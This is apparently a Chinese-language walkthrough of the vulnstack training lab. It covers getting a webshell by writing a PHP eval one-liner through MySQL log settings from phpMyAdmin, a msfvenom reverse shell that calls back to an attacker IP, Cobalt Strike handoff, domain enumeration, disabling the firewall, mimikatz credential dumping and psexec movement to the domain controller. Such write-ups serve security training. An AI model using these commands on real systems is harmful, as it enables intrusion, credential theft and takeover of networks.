vulnstack靶场(一)
信息收集
拿到url后先找ip的地址,用nmap扫描
发现80端口开着,访问:
用dirseach扫描
:
这里没有扫描出beifen.rar文件,字典垃圾,扫出了phpmyadmin页面:
弱密码root/root登入
这时相当于我们获取了对数据库的操作权限
MySQL获取shell的方式:
日志getshell
0x01 全局日志:
show variables like '%general%'
我们可以知道它日志文件的位置,从而更改日志文件,
先将变量general_log变为ON:set global general_log=ON
然后更改日志:set global general_log_file="C:/phpStudy/www/1.php"
再次查看:show variables like '%general%'
成功,日志会记录查询语句:select '<?php eval($_POST[123]);?>'
试试蚁剑连接:
0x02 慢日志
慢日志getshell和全局日志差不多,一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。
查看服务器默认时间值的方式如下:
show global variables like '%long_query_time%'
show global variables like '%slow%'
同样设置一下参数,和相应的文件路径就可以控制日志文件
set global slow_query_log=1;
set global slow_query_log_file='dir\filename'
当然要改一些写法写入一句话木马:
select '<?php eval($_POST[123]);?>' or sleep(11)
cms网页getshell
将之前扫到的beifei.rar下载,打开发现robots.txt文件,发现了这个网站是yxcms
0x01 xss漏洞:
0x02 文件上传漏洞:
在前台模板里新建一个hack.php文件
根据其相同的文件路径下的文件去备份文件中搜索,可以得到具体路径
结果不展示了。
权限提升
0x01 msf反弹shell
msfconsole # 进入msf交互页面
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.149 LPORT=4444 -f exe -o 123.exe # 生成payload
它会将交互payload生成至当前文件夹下,利用蚁剑上传至靶机并且执行:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.201.149
set LPORT 4444
exploit
拿到shell:
拿到shell的第一步肯定是提权:
这里是直接拿到了,在实战中是要根据其他的一些手段进行提权
0x02 Cobalt Strike的使用
打开服务:
./conbaltstrike
举个例子:
生成监听器:
生成hta文档病毒:
蚁剑上传病毒,并访问,上线:
0x03 msf联动cs
在msf已经获得会话的前提下输入以下命令:
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.201.149 #公网vps ip
set lport 888 #监听端口
set session 1 #派发session id
run
当然你得在cs中先设置一个新的监听器
要设置session id时先看看已经存在的id哪些是有效的,我本来设置session 2没有成功
这里看session2 好像是没有信息的,应该是不行的,所以改成session 1即可成功弹到cs中。
内网渗透
内网信息收集
sleep 3
shell ipconfig
发现有两个网段分别是
192.168.52.0/24
192.168.201.0/24
说明还有其他的主机存在
对靶机进行一些信息收集:
whoami
hostname
net users #查看用户列表
localgroup administrators #获取本地管理员信息
systeminfo #查看相同详尽信息
先贴出常用的内网信息命令收集:
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
首先我们先判断域名是什么,下面两个命令比较常用
shell ipconfig /all
shell net config workstation
成功知道当前域名为god.org,看看目标还有多少个域:
shell net view /domain
可以看到只有这一个域。
查看GOD域中的主机名:
shell net view /domain:GOD
好像没有包括自己。。。。
查看域中其他成员的具体信息:
net view
cs也可以帮我们列出查到的用户
主机 | ip | 是否为域控 |
---|---|---|
OWA | 192.168.52.138 | 是 |
ROOT-TVI862UBEH | 192.168.52.141 | 否 |
STU1 | 192.168.52.143 | 否 |
横向移动
查看防火墙状态:
shell netsh firewall show state
关闭防火墙:
shell netsh advfirewall set allprofiles state off
获取用户凭证()
查看靶机的用户
hashdump #获取hex密码
logonpasswords #是 mimikatz 工具中的一个命令,用于获取Windows系统中已登录用户的明文密码。能够直接读取Windows XP至2012等操作系统的明文密码
cs也会帮我们记录凭证:
再次创建一个smb的监听器
进攻域控
域控制器相当于一个管理中心,可以提供统一的身份认证、访问控制和安全管理。
选择psexec,后选择带域控的,就是.org结尾的
成功上线:
同样的方法,会话选择刚刚上线的owg
虽然最后一个没有成功上线,但应该是环境问题,因为如果我自己用密码可能都无法登入2003那台靶机,一旦挂机,过一会就登不上去也不让改密码。至此应该算是这个域的靶机全部沦陷。